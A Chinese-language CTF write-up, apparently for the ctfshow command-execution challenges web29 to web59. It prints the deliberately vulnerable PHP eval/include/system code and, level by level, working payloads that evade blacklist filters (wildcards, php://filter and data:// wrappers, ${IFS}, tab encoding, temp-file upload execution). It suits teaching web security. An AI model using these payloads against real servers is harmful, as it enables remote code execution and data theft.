目录
web(29)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
代码分析
preg_match #正则匹配
PHP preg_match() 函数 | 菜鸟教程 (runoob.com)
对输入的get参数进行判断,出现flag就过滤掉
只要对flag绕过就行了,以下是关键词绕过的技巧:
? | 匹配任何一个字符(不在括号内时)?代表人意1个字符 ls file 0 |
---|---|
* | 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * |
[abcd] | 匹配abcd中任何一个字符 |
[a-z] | 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0 |
{..} | 表示生成序列。以逗号分隔,且不能有空格 |
所以payload可以是:
?c=echo`cat fl[abcd]g.php`;
反引号作用:
使用内联执行会将 ``内的输出作为前面命令的输入
如:echo`cat flag`;#执行cat flag并回显
f12
web(30)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
跟上一题差不多只不过多过滤了php
payload:
?c=echo`cat f*.p*`;
* | 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file * |
web(31)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这题多绕过了空格,sort想着用<>绕过空格nl或者tac代替sort
但不成功......可能是空格的问题吧
于是使用eval逃逸的方法绕过
?c=eval($_GET[1]);&1=system('tac flag.php');
eval函数: PHP eval() 函数 | 菜鸟教程 (runoob.com)
使用"eval"函数执行传递给它的第一个参数作为PHP代码。在这种情况下,它从URL参数中获取第一个参数,即"$GET[1]"并将其解释为PHP代码并执行。
再者就是使用答案的方法(好处在于没有flag,cat,php等)
?c=show_source( next( array_reverse( scandir( pos( localeconv())))));
各函数解释:
localeconv()
是一个 PHP 函数,它返回有关当前语言环境中数字和货币值格式的信息数组。
scandir()
是一个 PHP 函数,它返回指定目录中的文件和目录数组。
array_reverse()
是一个 PHP 函数,它以相反的顺序返回一个包含元素的数组。
next()
是一个返回数组下一个元素的 PHP 函数。
show_source()
是一个在浏览器中显示文件内容的 PHP 函数。
参考博客:(1条消息) ctfshow-web入门-命令执行-web30_HkD01L的博客-CSDN博客
web(32)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
比上一题多过滤了echo ; . 等
可以使用前面的语句
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
需要注意的是;被过滤用?>代替就可以绕过
得到结果的base64,解码以下就行了
如果觉得麻烦可以使用system函数,毕竟不会被过滤
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
在这个语句中,data表示一个URI(Uniform Resource Identifier),用于指定要包含的文本数据的来源。在这种情况下,URI指定的是一个文本文件,其内容为“<?php system("cat flag.php");?>”,
web(33),web(34),web(35)
跟上一题一个解法
?c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web(36)
过滤了所以数字,改一下就好
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web(37)
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
题目将传入的参数进行include文件包含,也就是说前面的payload省去了前面一部分,对后面进行过滤
只要对后面的flag.php进行通配符绕过就行了
?c=data://text/plain,<?php system("cat fla?.ph?");?>
也可用base64
?c=php://filter/convert.base64-encode/resource=flag.php
web(38)
过滤了php flag file
前面的语句要改成短标签来绕过
?c=include$_GET[a]?>&a=data://text/plain,<?=system("cat fla?.???");?>
<?= 是PHP的一个短的开放式标签,是echo的开放式用法
或者使用base64也可以
?c=include$_GET[1]?>&1data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
<?php system ("cat flag.php");?> 的base64转码:
PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web(39)
只是在后面接多了一个.php
对下面这句不影响
?c=data://text/plain,<?php system("cat fla?.php");?>
web(40)
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
过滤了很多,但在括号上只是过滤了中文括号,英文括号还是可以用的
直接无参数读取
show_source(next(array_reverse(scandir(pos(localeconv())))));
也可以使用eval实现
?c=eval((current(next(get_defined_vars()))));
get_defined_vars() 返回一个包含所有已定义变量的多维数组。这些变量包括环境变量、服务器变量和用户定义的变量,例如GET、POST、FILE等等。
current() 返回数组中的当前元素的值
再post传参:
a=system("sort flag.php");
web(41)
本题过滤了数字和字母即可见的字符,为使用可用字符需要使用或运算来使用,而且题目也没过滤"|"
或运算绕过原理:
利用"|"可以通过
“不可见字符”|“不可见字符”=可见字符
例如:%40|%01
十六进制40的二进制:0100 0000
十六进制01的二进制:0000 0001
或运算之后得出结果:0100 0001 十进制的65,根据ASCII来说就是A,十六进制的41
所以可以通过脚本去便利255个ascii码来或运算找出我们要的可见字符
脚本可参考这篇博客
ctfshow-web入门命令执行-web40/web41(附python脚本) - Aninock - 博客园 (cnblogs.com)
web(42)
system($c." >/dev/null 2>&1");
" >/dev/null 2>&1" #将标准输出的内容重定向到默认(第一个>)的空设备中(/dev/null),把输出错误的内容放到2中重定向到1中去,也就是说无论是对是错都是重定向到空设备(也称"黑洞")中
解决办法:
; , && , %0a,||等等
payload:
?c=1;sort flag.php;
web(43)
比上一题多过滤了cat和分号
cat可以用sort,tac等等代替
主要是分号,在截断时可以用;来构造错误输出实现绕过,也可以用||和%0a
来构造错误输出
值得注意的是正常?>是可以代替;的,但在这里不行,因为代替了却不能构成错误输出
payload:
?c=sort flag.php||
web(44)
多了flag
通配符绕过即可
payload:
?c=sort f*||
web(45)
过滤了空格
用%09绕过(<>不能使用不知道为什么)
?c=sort%09f*.*||
web(46)
过滤了数字, * 和空格前面,根据前面可以知道想要绕过空格就要用%09
但过滤了数据
没关系,因为黑名单过滤是在后端检测的使用的url编码在前端就已经转成tab了
payload
?c=sort%09fla[g].php||
web(47)
/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i
过滤了这么多但没有tac
?c=tac%09fla[g].php||
web(48) ,web(49)
同上web(47)
?c=tac%09fla[g].php||
若要使用<>绕过空格则要与''搭配使用
web(50)
%被过滤了不能使用%09所以使用<>
payload:
?c=tac<>fla''g.php||
web(51)
tac也被过滤了不过还有nl
payload
?c=nl<>fla\g.php||
web(52)
本关过滤了<>,但没过滤$用${IFS}绕过
payload:
?c=nl${IFS}fla[g].php||
也可以用uniq代替nl 用\代替{}
payload:
?c=uniq$IFS\fla[g].php||
假的flag
说明flag位置变了或者真正的flag的名字变了
因为假flag内容说就在这,所以尝试着寻找下一个目录
../下一层目录
?c=ls${IFS}../../../||
往下已经不变了说明已经是根目录,直接读取flag就行了
?c=nl${IFS}../../../fla[g]||
web(53)
可以使用$和nl,uniq
payload
?c=uniq${IFS}fla[g].php
符号拼接也是可以的
web(54)
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这与前面相比就是不能使用单引号拼接绕过了,不能完整出现flag
这里可以通过mv来修改flag.php的文件名
Linux mv 命令 | 菜鸟教程 (runoob.com)
payload
?c=mv${IFS}fla?.php${IFS}h.txt
?c=uniq${IFS}h.txt
也可以直接读取:
/h.txt
web(55)
无参数的rce类型,过滤了全部字母但没过滤数字和空格,本想着用web(41)的办法但是行不通
这里可以利用linux中通配符匹配特性和base64绕过字母
payload:
?c=/???/????64 ????.???
表示?c=cat/base64 flag.php
web(56)
这题连数字都过滤了...
不能使用上题的方法所以这里介绍利用上传临时文件的方法getshell,主要利用两个知识点:
- shell下可以利用
.
来执行任意脚本 - Linux文件名支持用glob通配符代替
1.在shell中"."(period)与source功能一样是用当前的shell执行一个文件中的命令
比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
那么我们就可以通过执行一个可控的文件来实现getshell
2.正常来说执行临时文件时应该写
. /tmp/phpXXXXXX
但题目过滤了字母,这时就应该利用Linux文件名支持用glob通配符代替
通配符不仅仅只是?和*,另外在glob中还提到了一种匹配的方法
glob(7) - Linux manual page (man7.org)
[^x] x为该匹配处不出现的字符
[^控制字符-控制字符] 表示该匹配处不出现的字符范围
因为上传的临时文件与其他文件的文件名的区别在于临时文件名后有几率是大写字母
所以根据ascii表找出大写字母的范围是@到[之间
所以在url上写入的payload为:
?c=. /???/????????[@-[]
最后就是使用脚本上传文件:
import requests
url="http://5cb410d7-76e3-4d81-aede-c49b44d12cdc.challenge.ctf.show/?c=. /???/????????[@-[]"
file={'file':'cat flag.php'}
re=requests.post(url,files=file)
html = re.text
print(html)
上传的时候有时候没有回显,前面也说过php生成临时文件的文件名最后字母有可能是大写
只要多尝试几次就行了
参考博客:
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
web(57)
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
目标很明确
往c中传36但不能被过滤
这里利用linux的$的特性关于$(())的运算中
$(($(())))=0 意思是运算一个空运算就是0
$((~$(($(())))))=-1 运算0的取反为-1
在本题中没有过滤+号所以可以让36个-1相加最后再取反得到36
小脚本:
pay='$((~$(($(('
for i in range (36):
pay=pay+'$((~$(())))+'
if(i==35):
pay=pay+'$((~$(())))'
print(pay+'))))))')
$((~$(($(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))))
web(58) ,web(59)
这题开始禁用了php的函数,但可以使用非php函数绕过
如
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
又如文件包含
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
然后base64即可
还可以使用
c=readfile("flag.php");
结语
办法总比问题多,一步步的碰壁才能一步步的成长~